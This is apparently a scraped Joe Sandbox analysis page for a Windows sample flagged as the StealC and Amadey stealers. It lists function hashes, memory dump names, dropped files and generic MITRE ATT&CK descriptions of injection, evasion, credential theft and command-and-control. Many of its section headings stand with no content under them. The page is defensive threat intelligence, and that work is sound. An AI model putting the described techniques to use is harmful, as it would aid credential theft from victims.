Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 7f375c52c7bad776a1a447baf0edb01f9523413923cff892bafb91127bb4ef9b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 8D311E71B00614AFC724CF59DCC0A9E77B6EBC4358B148A39EA498BB05D771F9448B98

Function 6C5226B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226C1
free.MOZGLUE(?), ref: 6C5226E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5226FF
free.MOZGLUE ref: 6C52270D

Memory Dump Source

Source File: 00000000.00000002.2629729040.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2629672534.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629836324.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629880509.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2629916929.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction ID: ae8a7cc03fc913955dccf943857efba5ade15b964008dcf5c2329b9a17e67816
Opcode Fuzzy Hash: f2cb81af0d1950b52046b5b170ae32a7688187ceba54736e80ca1a0f160b6b27
Instruction Fuzzy Hash: C1F0F4B77012005BE7009B18DC88E4BB3E9EF45368B550035EA1AC3B02E736F919C6A6

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFBAKFC

C:\ProgramData\CAKEBFCF

C:\ProgramData\EHJDHJKFIECAAKFIJJKJKFHJKE

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

C:\ProgramData\FHIECBAFBFHIJKFIJDAK

C:\ProgramData\KJJJKFIIIJJJECAAEHDB

C:\ProgramData\KKEHIEBKJKFIEBGDGDAAECGHDH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre